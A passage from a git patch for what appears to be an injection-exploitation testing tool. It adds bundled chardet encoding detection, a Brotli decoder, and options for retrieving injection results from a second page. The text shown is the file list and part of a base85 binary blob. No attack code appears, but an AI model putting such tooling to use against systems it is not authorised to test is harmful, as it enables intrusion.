2026 11:55:14 +0300 Subject: [PATCH 0812/1023] Added bundled "chardet" and a built-in Brotli decoder for handling different character encodings and compressed responses, along with `--second-url` and `--second-req` for retrieving injection results from a separate page --- data/txt/brotli-dictionary.tx_ | Bin 0 -> 58679 bytes doc/CHANGELOG.md | 2 + src/core/controller/checks.py | 219 +- src/core/options.py | 10 + src/core/parse/cmdline.py | 12 + src/core/parse/request.py | 8 +- src/core/requests/anticsrf.py | 5 +- src/core/requests/headers.py | 4 +- src/core/requests/requests.py | 60 +- src/core/requests/stability.py | 6 + src/thirdparty/chardet/__init__.py | 83 + src/thirdparty/chardet/big5freq.py | 386 ++ src/thirdparty/chardet/big5prober.py | 47 + src/thirdparty/chardet/chardistribution.py | 233 + src/thirdparty/chardet/charsetgroupprober.py | 107 + src/thirdparty/chardet/charsetprober.py | 145 + src/thirdparty/chardet/codingstatemachine.py | 88 + src/thirdparty/chardet/compat.py | 36 + src/thirdparty/chardet/cp949prober.py | 49 + src/thirdparty/chardet/enums.py | 76 + src/thirdparty/chardet/escprober.py | 101 + src/thirdparty/chardet/escsm.py | 246 + src/thirdparty/chardet/eucjpprober.py | 92 + src/thirdparty/chardet/euckrfreq.py | 195 + src/thirdparty/chardet/euckrprober.py | 47 + src/thirdparty/chardet/euctwfreq.py | 387 ++ src/thirdparty/chardet/euctwprober.py | 46 + src/thirdparty/chardet/gb2312freq.py | 283 + src/thirdparty/chardet/gb2312prober.py | 46 + src/thirdparty/chardet/hebrewprober.py | 292 + src/thirdparty/chardet/jisfreq.py | 325 + src/thirdparty/chardet/jpcntx.py | 233 + src/thirdparty/chardet/langbulgarianmodel.py | 4650 ++++++++++++++ src/thirdparty/chardet/langgreekmodel.py | 4398 ++++++++++++++ src/thirdparty/chardet/langhebrewmodel.py | 4383 ++++++++++++++ src/thirdparty/chardet/langhungarianmodel.py | 4650 ++++++++++++++ src/thirdparty/chardet/langrussianmodel.py | 5718 ++++++++++++++++++ src/thirdparty/chardet/langthaimodel.py | 4383 ++++++++++++++ src/thirdparty/chardet/langturkishmodel.py | 4383 ++++++++++++++ src/thirdparty/chardet/latin1prober.py | 145 + src/thirdparty/chardet/mbcharsetprober.py | 91 + src/thirdparty/chardet/mbcsgroupprober.py | 54 + src/thirdparty/chardet/mbcssm.py | 572 ++ src/thirdparty/chardet/sbcharsetprober.py | 145 + src/thirdparty/chardet/sbcsgroupprober.py | 83 + src/thirdparty/chardet/sjisprober.py | 92 + src/thirdparty/chardet/universaldetector.py | 286 + src/thirdparty/chardet/utf8prober.py | 82 + src/thirdparty/chardet/version.py | 9 + src/utils/brotli.py | 732 +++ src/utils/session_handler.py | 51 +- src/utils/settings.py | 69 +- 52 files changed, 38817 insertions(+), 28 deletions(-) create mode 100644 data/txt/brotli-dictionary.tx_ create mode 100644 src/thirdparty/chardet/__init__.py create mode 100644 src/thirdparty/chardet/big5freq.py create mode 100644 src/thirdparty/chardet/big5prober.py create mode 100644 src/thirdparty/chardet/chardistribution.py create mode 100644 src/thirdparty/chardet/charsetgroupprober.py create mode 100644 src/thirdparty/chardet/charsetprober.py create mode 100644 src/thirdparty/chardet/codingstatemachine.py create mode 100644 src/thirdparty/chardet/compat.py create mode 100644 src/thirdparty/chardet/cp949prober.py create mode 100644 src/thirdparty/chardet/enums.py create mode 100644 src/thirdparty/chardet/escprober.py create mode 100644 src/thirdparty/chardet/escsm.py create mode 100644 src/thirdparty/chardet/eucjpprober.py create mode 100644 src/thirdparty/chardet/euckrfreq.py create mode 100644 src/thirdparty/chardet/euckrprober.py create mode 100644 src/thirdparty/chardet/euctwfreq.py create mode 100644 src/thirdparty/chardet/euctwprober.py create mode 100644 src/thirdparty/chardet/gb2312freq.py create mode 100644 src/thirdparty/chardet/gb2312prober.py create mode 100644 src/thirdparty/chardet/hebrewprober.py create mode 100644 src/thirdparty/chardet/jisfreq.py create mode 100644 src/thirdparty/chardet/jpcntx.py create mode 100644 src/thirdparty/chardet/langbulgarianmodel.py create mode 100644 src/thirdparty/chardet/langgreekmodel.py create mode 100644 src/thirdparty/chardet/langhebrewmodel.py create mode 100644 src/thirdparty/chardet/langhungarianmodel.py create mode 100644 src/thirdparty/chardet/langrussianmodel.py create mode 100644 src/thirdparty/chardet/langthaimodel.py create mode 100644 src/thirdparty/chardet/langturkishmodel.py create mode 100644 src/thirdparty/chardet/latin1prober.py create mode 100644 src/thirdparty/chardet/mbcharsetprober.py create mode 100644 src/thirdparty/chardet/mbcsgroupprober.py create mode 100644 src/thirdparty/chardet/mbcssm.py create mode 100644 src/thirdparty/chardet/sbcharsetprober.py create mode 100644 src/thirdparty/chardet/sbcsgroupprober.py create mode 100644 src/thirdparty/chardet/sjisprober.py create mode 100644 src/thirdparty/chardet/universaldetector.py create mode 100644 src/thirdparty/chardet/utf8prober.py create mode 100644 src/thirdparty/chardet/version.py create mode 100644 src/utils/brotli.py diff --git a/data/txt/brotli-dictionary.tx_ b/data/txt/brotli-dictionary.tx_ new file mode 100644 index 0000000000000000000000000000000000000000..b8354d0bdb5c5cac8e367138ff53378eaf50a345 GIT binary patch literal 58679 zcmZshV{jeL*T-*eY}-a-+qP}1Nn_vGcG9>}V>h;aW23Peo6qm{f1X$So!!})-8plx z`#Gu#kWg3v000i~1odM0Yo*q%>Hq*JJca;Z|2J#y>g?`l$7E?|;cn;bWajF_Y;NZy z*nR3sG}^-ax)HT2khX3UJH$N)kW-?8ft8WlCTN46=-CiPk@D2?^nzH@s+nL2Qj$a8 z4GP``sOLh@a8Luuc+JUzqXuycKa;<(j(>F!qCb&eKGlRd;$wjG($fbCdRkm-(xXl0 zj5+aOKx(iZSy*WsSJL^9n!gnJ2;v3`t=}a(LF%!U{1*yJ7|$Oacn(5%!ynPxnTyRa z#Sp}}6m>YendVqJ2x^Na$eK*ou<pB&9o3=se3iEQejOOY{>zBJ>eJFZtol|$r9|#4 zE5n|a71@wO8numo?Z;?4=?&{+@BdC2s;K?lW`YgO(=M*R$eh3{N6|b9_XVFo5J%u8 zR>d((%C!?@Q*o_V(Wzw4l~vztH_D4^%@w?u1(HX}kL=VT+9uu<8Hv0;NeE)rIeUC+ zCID3;^YQOfZ*fmZ2d`n~B5xGTLjG8B6)K!e+7fp#z*REPquRgo$SO%i+RdRdXkpU^ zB$Luu?LhU&$*YAm*gK=$5iP>(U@Jnq=>$i!=F&ZGv2QyAtx_bvDYmMA+sg)tFe1N- z72doQ#&iSonO+;VL%GgTi^alG?w0B``(J6Z9MS0O!diIv=_1sAeXB5Fwy%}ajiqee z@hWCTFd{ZBm{`S}UD>8xE#O6V$3HK7T@)5!ly*wO0dm;_zbooNOAQK1n!FXOI-i|9 zqrQ)}trm6{7VEZmpp~qCagr={^hWhglKsS3hR=!m7+Ia<ANqO!bZ)P%1(Wx>#2dp< zaPjfZ0aj>h)rJ=Or6IUb=h1@q8{?#$v}zxltpI92zTp_&_76*qCT4X;<R>ePKPmzY zllgrMs2Y2joZj3-^QUBCJnvOVgeDlZqZY+fN$}nTqQ*idl`4KvJd6|!&r2RfS-ilz zYFdBof@Ld+pst9NLFiZ2kQkhKRh7|4kPd;pa;*r|M?r=gi7h_c5nXW7toc6Sb<nY{ zl_*z_2H`n4I$1BQb*<NPfZG5Q?J#8`-%$A%`EO@w3C9S?G)^wahv2YS;P5Xo$|K83 z>;$=ONiV^0R*u|qV0X<lq>*O}u5YCp7A~)I_1~43?RT=1G9YNnaBJm-{*hhV?2GJ` zM3dZ>j*QLc>*86*Mys@+Y<Z)k;nRe0`O8K1MGo2za-E}8HV4BSXrNJP&Un?_!Uu6e zi~IrgHUfGTi%b_AOAJUSvl&~++B-@(6J{hH5srG17Gp!0D<{R%8frb!(~3vrLo2>A zM?=QZEV8a-;M|RUV%<i)hFoSV{DAVuMSA@ZwiGwVKvTZ3crASd2=e~c3JmF9Mb3uo z8T}as<F}gluXfnZ_I17xMsB$m{v(|NJB<v8v|Zkv^4NWuI~VOkx^wt8WwJe(_3^8z zUlRQh-4*DbRRY~@l1d;RC*fCk3bjdOb}nk{VznT%6u@jLihpk0$NLzX0ZYNy$lih{ zi1-t!60bP%!By<b;JQ}$BH)*N*)A<iGj`BR3J9(qt$8CHn%QjbbN%fQ*ZAjRPockB zaIF;mvQR(9i&?>X?@p;>rJcsTlFyGHtfX%+0XT|W%aA#&sP8pA7UmoMi6kQprNtH& z5Pm2OeXDzDjYHog-)^N2M<GT+AIx`LOk(&PS}$;Ux-_8kP9a2|O$c2JquVfc^-%9s z!~M5c=jQtLd>aTD%S~hK)36r6-+~e+8kof!p*}jSG49o1x<jAHS3K(BhiuhF`iuK@ zy1V&e{4eDG?Hl>I>2lQggNY&!{9qI|@GFD$;gOP`weChmzFubWU@ePvAbWF`m5(Fs z+h1|VE&=|;NaFn$EY8!PO#w!+kbj|kun!FM{{%#VDl6zEQmJ%*D&ulq7yL8&XJy-l z+8~|8CWnN7)b&;i`5nVlq{v8A3r})5GVbiD3jUFlAK{f8Obu4V&bc93b~l>rz{$Kv z&Q2ON?LcrzgbCHIUnyOT%tfhJgQ<f_rIRoDJ%6bqfAx7&JS~P`6boud%Ok7QhricW zW=O*b#w{=1GWoZTEiN3cJJ=hf3#m@N3<}~0bcH{-iGI0Mhw4M{j|FLWHJe0E(CKJB zkl7Ze!3=ljv^p|{E{i_N!LvgTkan=dlh@hjuzo$98weN(xCvoH79EBLzOQm5u|Olw z1QYFao)*`v`bxm`y@#UKM@fMPzlb|*5!9wdBM#=IoMtn-{Sfg~L>_Bf?jlJGyX<v& zoCjCFmR`SC3SKC6BO|mTe}#hU_Od<th{v~;0=M~hJCi`h(+lAxu$ZBYh~m>O(xHAl z0rg9vjth_stDUEVH4w|B?uf3MV%YDP(vS%6rt<uYGhf8~7QZMgHKb^J##|P(wt;I| zBT~CT4DNC|7*C?duQfZpO%Pv8csfl0-w^+30e*dfZy@l0&iU}{f(1PGCh>Mad$Xhv z`CS%mcg69q52mF%hsXJ&+3OA0kH^bVE5FjT=DK!TC;%<woQMCs$UODG_3s|6q$he& zz9w2^1|92FLNxNBv%(+dxX<X`)FT94tu0ku6~~m-Op>B21!CoX0^1w<5X<YY+pu2% zWLpvU$uGz$=-a(4o#oa)A+;74a&i*oA<g2u`QVL?!@)p*Ozd90uexPr@UnFCcdDdl zuDu9bR=ObEKRsXlBA=Boi#T0%hi|0%pBAGTU#lI5-GTR~<}NE=O~)Ez^S42$9<cM= zeYhtU4;yLxSnq(>;9B{5&llhc7_vJfSc;4#D0#s0JOlOfW_-KbZ=KuAkwF@~cw(`F zE07m}#%r(>ctyI=yZItQ@_OR<QY3YCH~0AwDB6n;R&M-^Tvj$shN|AK2s#2i7gc=} zeD>ZJh<)Abe9jh&b<sjh)6a4w;XtgqnAl8`f`Z0k#4oH!Vv36QKeVf*YEXY|2mS7A zNNQ3;cbGeKygUKKhekHw1qJq1>_)d8ng17t=oBC|p4GA<+1-kc<-J+l%|8RG7xG;} zv<DD{`MXtU{#&T}!DVXX_kV@K(TE++H-&CneRY4tpZ%kb>rsdWzWyxuKiB2gLix)< zU3{IY)P%0`1jYSEI7HXN{QWL^wf(pQ<Bsv?`=_b1s1J(%*K5^mt~dc8Q|2R2q}t)d za^+9nZo9S?ov3lukHIpLKq!ChGSw6NCozL0YI+yWA0Z}7JFP8U3v&(aTu|Vz<FY`H z&pVSmrUEHySYK+rmD@-WQIm{9jc?Fn<;z#gE$&G)^{5|n%U`Ij$PQagGmhV#y{^eh zC~m&nNt}Bz*`A3y*N)y-8dny6X{LOg=O-F8H0+eAg?#-98YL$W)P+^|Misf*KZbnw zk19yKzB`^KzMZ9ccO03;c`w|uZr+IV%$alISpP2F$z<CK{qIlV7Ebd<h^GPA332_q zS>UrHX3s_#cMkXu<gEMd8jAl)FgLO7Mz9SS0tZsWHZm|6e0_%w5+0g`efA+0x%z8^ z2;$zi!32RXDVyKm{t1hBCjLKCvJ-XgQlj|{?Vs@fO33Cnz&~NpPE_#a|H^Hd&ZoJ{ zfM!3^fBz%d_EBbDyOj(+ky^sW_XGQ?)ee_DbTOl8PAY+;RLQvM!IMUCj1TtQ49{rb zy0SF(y0ZU@4BtUC7pWu#bS8}VTEmN)<0q;5EsEVmw2mws=n{HfZaS%*vbsymrHB(u zexNEK7m`?0HNc;AoKL+}Q%gg1iWR5;^pl8yu29i}r7Xwk&sRlDa9J9CL-e-kgAqG; zL4T$=YI|RqH4*Xuzz|WWGkNE~fBjo0(M$6BQ0V`7|G+M6G+^Rp`+(6alH8kNEHdb& z@N9Xx@^>Y3?veg8`{RMmm-qE`)FkoK7qBBdaFuwyGkLN9aB*Js{6yh9pix)X-4i}r z(9;w42X^i<#{U)gA>toEB4Tsx_Oc@J?2mKh_xcLl{<?p7KhJ!=fc|U`K1S&VJwEnr z-0<-1By<sj+;BzioKd@l;(AB7r+TvcdAx2ul3R<NN4H5p0&xWr&tbiZJ?&3NY#@>M zBkp|Sbm5U5k|B=b=L_6>_rzYg4VQNi-uIUs3Fmy-x<Ol!ch7_A*=I+h@6y|f<Cufb zNATO9P^(*1tKP)W^<|h@hxMTi0-_$xukd^bLy>H~T#KL07Z8D>67@{}ttW%7G{57j zINgeV1>c%}he+;MjFgQM+7&5=uwP&hf{C~ULb{fq!@32c^@1&9YXC5;C5I>ioe0q= z7oksQyb)$Z;!l<0X*BnU09_i0ntsu#PbhBq68t#T!ofDGOK8eJd=-)PYvFolWh3Ep zm<uO}2%HvhbEcti>GZzTrmf%B1+cq1k2IR*4NL*O66-}5Bz3UsLHQ6wK;fX2K-{1P z%)6jy;^Ep_b+Lt{2<dMxMGSlJC+Z>)8H!xp_|L#Lm`aT+1qx9e3d{RAl^e$_z!0H^ z><1b80<OF$WI(Ag^3=&(7mARC2IklBe7YIJ!l8NJPgMuiQCp-F37sGr5veFGLa=Ci znc@9Yf7eLR0Ne>n*)jAg7B3>dIy4*7MHWuY3wJnZBt_GMujV(J{?A%OlXpb$4EWI) zg6MRh*@a%eey{K35a6jsH!@2m8DAzb3eGVX^h8ESKL?hfItVLGu%=!!8r#&b%K0Q+ z;w!I1p0*E}!)J2TP}S4YY3_y1q^+aKMu7Bxumvcrs_Iq-SK3h|wvBi#s<SP$D>CD7 z_a6<Th%%j4{?xW3A=IjYX;EqKh2E`H*AM?uQV_NnW?Wwuan#liGmNIXs*f-L>d?0> zL;nFukcE|~l`a^2DQ7_5%}gF0(L?#~A9aK4?vaHnK+*utU({JSES!k}%<>`6l^z1u zZUD1@${B$DFSk&}IpYT4<xoEXBv4>DRWR$Jv3jL5)%lqe$_!T8mA<D1<B!7I`%1<c zxV<<BS@7#3Q9FE*wc>j#M{1dLhCP5(ha|bC<y}ecyG(+|D`km=<3tBYIAQ4*tjgtt zOnVoZaNA~FG$9$-KL~PQu|i*x8T(98bbzKp^pgn~MoYiU(W(AQYfTS_MMLAj`tB+l z)DaDdD+a>d%j6D8Y9RdKEh7kDRYhlKWrOqbqh}YUTng5%Y8mq|vp+L$#BSS46B~wK z0nkw6M}l}#M}h>TdQza`;*a!8<rbs2<lOTgb;1>a7AnwR5)*9R_+<$0vD73(<=!mQ z+i2?Ga<>7dz~Rr6n6R+8E%yGzvhrE*v~3q1Q(sDDxD(Ln7d8p9Ig3YwG<VPguqn%v zp3V$Fh_GGSI)6cC@~G~L?!EFlv;Zf-0GM&}fMvQij+th7<|y2OCd<SSqvAsHMsPca z;<~@b>o|z}<p#{L;Y|K^=uH<o0;Aaw_RLWfy96E`adxm|T|HR!moQ<0_ENk=QD7}> zz5g*O54H6#9qTqT=i(o^+b^RNYV;CR)3B@Wg^<mniEu)oi&8ksX<8rHU~hkiVXiNN zIGSdU^$oKS`a~H03T-7%wTT7&f16U~r7XP1^Btk?NSH2%16^YeNzuX2OMpDQ`mm3W z^)!GW2GUb^KJPCJyq)FMe(5>lFwT5J4X<Zvyt&XMa6S;iLM-mGNJctx$A9bXlC<@` zJyq9hhlk3Z4v55b0eSdT5#S?L)gNRv;oi-6PmI|mkskprD<T+s0K=ojti*0hCP8aM z-U`R~Rrp1*H-w@g++*elYhmA@^<6xQx$UOusvVk=<oIDZ@|v=+Qnt})xBq#3>|KDi zKZ#^_C(04BG@oLp*EkM$SAHKh1;A%zQo&tI!DoU$^oM3_e>e6UqAruh5tpYmsNM$_ z3-2h6C!u-_Fxdsa7`pX16v?EJxJk6)$U#^A3x?@AG^cHNMnY6m92K#IjX*S0=#>?( zTm*Gx)1*H)oi1<)jIHiE$@0p(=VRjWr=7qJ>n|J|k$0+AspY>)Z*CaN&s9IsYsB^c zb5C@9|MX+itmKQs&XH-AWd7w>RE5_1gvD033Z^|iwO9ANfCsEDmZlxsh4QipkXy); zZ)sX574O*!kQ;WmxtmB>nMoH|94QMIT-n3ABP&2F|BNI<5sJ(c)CTyBx**R3hiYRN zv8g|hXT@%@=V45v23l8Z8B|mc3Ja@*qWw-j*@(J|Mai*5IXxhw>H~H$_>m_BOW8Er zm;<I0g3)+_?2FnW;+r7S<Y_yeklCP&3Z&}=<bIndn}^|#ACu$(@<KIfvvTGL^#$B! zJO?NRe_oy!3-lml<AKK)7S>O3d79P6d=dK4uP08n!nCu5W{n>0nldXf<U>;D((^-N z+=P5EJGbDeA)$1=W~liYLznGyb};8MOSDMc^(axQLQdJ>lOmogk*#D%fJS%EqOkX< zKRs8nJo81}Z=--fY9<^+Vg6E^9q`A>9ICQLy~RokxC&LVSYzv-|C7YA%pUYX@`P7& zAU0}_;miuGUb;`$;n0Cih^EA>Yi-$t+M>M83pa&ozBWGVUKz=%s9iLQb;Eq8T~ijR zenW`6yQen2)`>c&pb0DSoAAlWZiSfgdmD6Rf}~kLgRmt2oB;sl+`ilmpCjal{r*vM z$!(U*Bq@U>2JGW!ftT~!RqZ1$!)cpr>nF<Xlr_Ji&zQxD+!@e<20q}%nqw3Qhx6FV z|6f%Ob&qt*N&9R8EBO=B)z#bS7}<50ewY7karx`1@J4LO=zeoF2!)HpuMb4|J{+Qj zd6xYzEw5%qU@JjpO1=)(hza|5G03Q@uM5fhS4KJEMg@jIX!#(4P;>+wZEN%-o2;lZ zs&=W@)t|b@ls`nIyxf~7eHrBfMd1J*kzGinsBhS})KDhklh=SaFh4@ofyu3+!XnJ( zfCfCDJ=<a$N}lt7Sz(8sh2i93Q*q~fdr>SLJigCQ+skKi;}expyg{f6xzQAwRRwVQ z&Er<Gdax{VlX-PI1oI_^nK{0f!|ioIRH+-)lkdT#iMExGiYA&cimUr$VkScbCsv9T zoeUA(IN=&%f*`SF{;f;S8-llrKtGb>g4}7CoJ6b5aEOSOsa&EAxoi1o4s7qkBg=p4 z!)37Zc0y_-*!ewHgOxxfpNK)W@BzezU0Jp<e#l>hRG8RipW{sdaZ@MWF-Ivsc=`KH zg!{^qF5dJfu6w2lJ>T>AgQI&)KtwMeU+vDZU-6k|{_3H)5Z<DvxytL-hkkt{DcZMG zx$P_ZN@q8rx5@8LZ55E6Yk%lh*5$Carx(OeS~-8KW#I9r@;CSzU4bpoc?Iu-8VzVW zukPnE$VLS=YXo_{j3&uk;Ae#u<z4n~eisAEPF2PXc8hZdIrMjJkm8lmuAf>9=Qt~$ zX+oHQ_-A%}8$~ulni>R!b=H*pO2$Si{<4OJL6UQ{6s-B>sfANmt`VTLED4R1YG5)# zn||;_%wp?l6}_)koX-PqlqS=IrrO<e@HQHtILy;JOpQ9ZC~_DM`Yw)J{oWJGE?UO2 zB}yiB86pIm90)MNd)4F<4u|Oe$xajt6jcy%SqJ+j2Kjr)cENRyQx0NWoIWpk^ij;L zKJ535MQunAOKJz<*l{r|#4}h1wTjsQe#)p`O@s-K&~h&1Rsvz|Norp9U_<C!0<@r- z4{nlC+akkj#MLFku@<O060l_%cMD?ZFz9Hv6G4cad#q4N5XSdsF4TKe#loNPhIjTw zQ#6L51iQUe40fcf>|j+x#R}Q$U%#Q=L|>?P_aJH!iFE<~y8f5c8Lc5tL4OMC8ob=~ z!p)!{U;u~aQ@bP`rpP#><r<YpN;o-ig}C3swV*kAe2K(e|0SO2qV1&N?`COnRhpHM zi{aoU6i6|z@@4E(uFB#ehDS|~o-DK9r-V`cyk7EH_wQL1t<Mvcu0_(B%RrJP%o4Z& zAVF3^xYxj^dSL&=vrpdIwHpx!Gr_nkun^e(#sc4s=va_5AW&p4HyHJSVYLDscFeHi z$#@tRDtLCQgyBrcPIR6s++=Ur9L>Q>1wfzBd^1o*5P=@-Pit0iZi*0;ZoFdBZ5v5W zTrIGcFuyRIctM3OY={*m6E+Xhn@<{=;^r5GDUC#Hfm*uwkc2_vKYuC5Z(W6o2vx*@ zcGN1wH5E#fg*&70VQ;P_+#9V`_R{cjI)pwLkfS>B52$4Nn9&FlX{T1jq;t5*yidBz z$`C0W^bGoWC-E&b+k(Hi;dF(Fm{l+oP|tfo#>7bhZuqdFw5AS0c&n7K?s)?7DBjFc zE40*O0qV5bdHx~Us`T_g>-VFW?)0F)bJ)~~wlxtRgEY|Cg_BYLfrSdrZ$Ya5im?lk z7eFfu47BGo>b^TImywwMGRfcg1*2`7?CXSpBQ(Kh-GzV!nS<ZhMvX^C>y>%Nl1%Xl zMc44Y>gSq}$oTxn_7Q`)9%{QqibM{<f0<S478sCCl1PvYCi0tsE#c+jSsiJDVO)ix zx-d)4fPm<7JQhenE7@c0dedq=D#_z4h=LJj8mvij2SyTFU2OfrFl)L51Dq$Q$4KQ- z-Aq;n5wl#xRh$frQTXlnkY<ee`51B>JD1qOdYQL-Lx5~%iYxjpvbBvOE-wyB8;T~9 zo&xg-RI~T!ygc+b(MiFhGy6LGJf%0&d>^eb{#F_WvZ8bq9O$stc_?4p6sTpQddYFj zeRU!u>D(|;bzx6m)v1R{7&d!$;|dt~Y>e~yWK}4)(Krrq)LK<_O-3M0C^DNUKU$Ib zf_S(S+$(T++<u;+I521qn5E#3>9e;BE%@!Ogg^arvT#uh4cVGO*x=5pNToBn4Lbhe zF{GN@VAGY+#Q-}F4N9fJNY9qBq;Z&+O(x1OiQpIk^v12_en6eZ=U$J`Pu3oq8$Q&0 zU5KzBsVDc1&;k4A2R;tgYyW(pbav<|mAkyzcltlyB(Dh?^*HQh{p2(mp!GMwg%0^7 zsZIea;S|u==sH^Vi<Y4ba;EWPe?8Q(Xub66sf%-5h2rcMNKU%5U<Ssy8nlKj1_EH2 zg8mpHMb1}Pek4g>x#35Mql!kq#oVM>vBjv~MYj#rL~fY&vU1bGp3si?NZtVGH3F%> zNpr&nC)2|-|Bf`88e;VY1Q~Es9;3a_(HEztczcg&P?3SDz<SAKMKI_Dnv!6!!Nq_g zP3vpX&<4HwB#O(nRO95{Y`Er4m*~|VJk{`DGU6=i!)1nn{nd+RO>4(Yocfy6P?i_+ z(VD_+{~knyerlXZKynjM<=ryuF)l!jD3I#7LR^H44ILi^g6nvGJB$d>n<=CuM~ui6 zY!MBi9u-?MpxghGC136@7gMd@UHBLdOR0bTwj`ebYuxKR33<2&V?Wj{<PT=;I!R}N zSuex^0rx{T0>o+yVVpIo0!AiEUu`43st|9zU~>yCXkyc+Y8Iq{P<IsB%tcnjd1LGh zi+O8UwbHH{)`N1%L`p1w1Q#T|*=L*}()+FR5fE2D-bpTP@_c3R*qy&C1F;#E-%Nv2 z7o4t4HRNwJpcp*zHI<Z~d#$Z=WHmWX7D_XF9yWuiKlwhq8_EUY7;-JV<I~kiOFtm? zvqv@oQ5c<nmP61w6!EVZ0$C5haPR;UdQt0Bp301ZV~-E!MKBoYHte$%v3&4VHuYy) z1pSV@+Wa>RMYVaz3V10A2A5`S$|$MaAFvkF&ce9xEc$TGN>BcECqVSO2ukpFr&+(I z!0957K9WmhCI5ZL$sZ4I;mb)MB`=gI1V{3@fIfLh3?VTG+p4D4YT`tamXutD?0=oY zpZAEzZuL+P?8FbXtB_X7Q}T*2Du+y1g3)VQ{nqEk$)&qqKSCpWw}wa%gS`4qy9aPz zGBQ{sT+VD0X%uR0P=EZ#4Q(>$6)b_C$U^?~>J%9*xD?z)&zOEv>)t<=2|Juae>RC7 zE4+j-b6iqT<e5^C5#>YLMgxaXRq}>fa_|Pkv(ud~Zc<yrVLqS2-1C36F4f#X!O1I| zo0x&GY|=<dyTK|dVk=}H>qB2Er<zKVguX)@Mcc$u?r?O{fiV&#hlDW~x!$HyD1@nQ z>t=(8!vwKZ>{@i>pRT0EbG*WitR>kZWVwVm)D!mQ9;5Rl(-rpV>qt|n=gEUogLo^T zK{!*kenVf!qVKFWaoWzI>ag+$jp$GoB2Q5f{}_hwCdtwj7|Y%FGUv9Rb{3e1UXFeJ ztA_h5Dy3&;A6S>+ZY3k@MaWmwC(wf0R5#zPF@-{RVqgCf>{0S5jnBD-wx&k$^I=kV zC_?8P#03`wjaiVSVKoqqYr6>Yy6&a#(CCYzWW+U$2BZ;g(=NBG1e(4-Y;S!hJv=y> zTVvKIyLu-+iGU3UQGJ^4wk9=*v4O4UpLQxFE0ctWSAbB^5Cs6}U{uq!w6=XqC11JR zD}T&yjLntszAiWNzQ}GuR>^pVNF+zey@zn)V?OrfjG?qME6lnG16!Mef4HUph>O3- zA*Y%(!{zH#cn{_(x&B1Q#&|7{UWmicS&=?o0GAd^`f>dwgXM>Ml|o6lOFLOl#VlIq zp;~@-5_5MqbhvVx%L<-LFxjNcLiXFLbEwI~Q218nAy=PG#FCR25*%onbm?VE%DIyu z+_@er{@1lJn+1U+g9BlKI^URNlb2Y_Ut5igA4x%R7tb2t$kR`opF4^#J^lRmZ7=SZ z23)R`0NE5K+ILk*26RF|)l<Bp99=)0GXo#}wl3B`niB={IXei8EW$8>J>&l15~Ih9 zC08M)FFCW;)~W9iNBxR#aCY`_R#*1NYR(NXM6t~Ns~j#$2|qf$qOh=Ka*Geb4he%@ z1S7Oa4(9>x4Y4ihcNrPR4Jf&J?l7HDG!41$gg3T+8z()Uc>RQnU4aEG$G%yReJ<*| z<8~cIYq<o`GKHzP1z%@rykY+I;WwC&q^$Gll$#R^djA6Ce*C@Gr92j$C>2cZrx}#o zHOtE7vPcJL#Pl(PZ3U{SVM6iMH50=8q~4mF--*@v)W~vle?k7)6O+~%m86ZXHm+TI zNli^9zM?NVfa4qGDu_)e8zE1rMt~|&JYv(TwGkaa8G=bTWW*#uFb&Tz6<^V(SS87U zoyMvR&Id(^5KhD!CK4&-IPsBYK$?{^c6;bXINQB&x)Z^tu0jg5>^P@N4GECJw#JTR zHi?xh+1fRY5go}M`0@`OzLv_ibEB(Z&tt=dx=(sbmrJb9CGWyfE{j#+oF|@aB;pfh zx)C{0$<BTscn6zwK5Dg2Br~|tyeCNupix5d#pOCwrxrVxAEF-glfXoNKos~1G2MPw z5KG7B!E#HLk86fj$uOPMwo0I>-P^%n<M_kQqb0(#o<*YX<I}+wX!?-J@ojSD9M<~U zhx?^b*wfzXrhj4+Jh3^ub{*<yUdtBH?c!R(*PUdPKSg7$jpMw+LOeTCw=yeYAoK+_ zt&M}DjdN*Tj>;($IFmnH+r?YY{-p77_HU%Lc<pZE8w(2;YObB2akWT?aj$#H&8_Bs zX6yr{#B(>F8{XD!_hck*iAgQj%w|=hkV&_j)5EKVFfXSesmx^d(%nK84>KptapT|7 zZ*DR<EGEk;#`c2k4Y#iNiJT_pnzM}xPXvgQ-`rwt*Zh6kK$qrsmt$w~8fypX7t1%V z`+jR<Y&`)t>K{{0M=#Nimb^Lnbp>rJf*|%Bfh;5a-y(#A{G698rp9YS6^@tSi9PVd zyRPS(6}L;X%aQ%ZxH)(GA}{-dv(2ov7s_&-VI?V_{%F%NNo~GKwF$uh%Y)n9T5R;i z>Pvb!>_c?wH-%K9$AReAgVc*<mFdG+T~0<>iyQm>vwusF<>zj04-L_dAU*-Ed}I*= zJ;BJ&oRzEph<4*&zj)Y2ViwSZvXL#b3U?i;15xg*G%lgc$XO;T*NotFnR4w^o<pwC za;~wxvdL^jB2U58%B-;?iGNzW$z+7H+v@%kn8}k{Kp-S<BH=4dX~#C#J4(tRo3KtK zAfdgwOE5<$a8Wncc6ZHBVmezOemHrgru1S}e1FgU@z(KU9`a)AthDGT5As{=?D>lE z;_TF7A~9gC+L*{#s9RISg|OFVVYYD?8mSBgn8n-SYu3isq#NkZZNT4gd+WV_$Z4z= z=xgqABKvU?P%Ztjes^(rdNFq6=vczmsVj0rd6cDOY>*9Uv{h-s8?QC3oUhyc>TN~B zA+#-c@9F_J$s1!`*gUeOL5879BRs0mWKg^|&W5JqdCn{ya$|8yurkAWDPr*7!5?+! zmn5FF>t=aq%5NT*<}9WU5g!ma)?$k;F6Um0{yHAeYq$73W7(#-d%TM7k2N?t@e}qY zsx(?0%Nillu6->MzXw`<>U*A=dHVeRbpPe!RV@s{K^A?9_mgQ*eOL>9D8ekHxK`kH zXCv&5aS4&X!G;OaD|T`7rRnqqO2SR_i@T_p%q%A=bE6uLISE&r@HRBIjcxJ$5HRpI z7I~`&`FAw9hivk{HNM==Ozh2#?A@eiQf5KxT%1CH8FVoWVVn*Pt(jL?7`dF7l9F&} zn)YoP&`k|gv6j0)hg72??V2JYNa{mlO@EKGaQPw9tu2oGxmHIVFNx@wa`5d81pt32 zw({F@;)V8`MsXUe5Xn%hnWV!X$tsuT_H!wJd;Qh*yj1__M^<I|jc#O?JPwVRI$iXi z*_#SIQ}&i#j_$Ew6hj1?a+wS(6U{nt323bw2_v<y46A3SEol>7@UNyrFs>KR&?Ki- zxj!(Uoc6GIKJJ5GTjm_yC5^p)`8-*3-{MgY4a6u4#C$eI-yEgp=+3{c^2y?{0xkc$ zveFO3{YxYqs!n7lqdtDOGMk7-j)gV4h?{yB8*~gB1767NP%AM%RmzA(Z<pG3sD4-M zP1yF8+;%aB;bjxxmvGsSHdkH)0?4bCz}(6LJ$ptHC&mQxg!l@#_;K1@f+R_9VZB~| 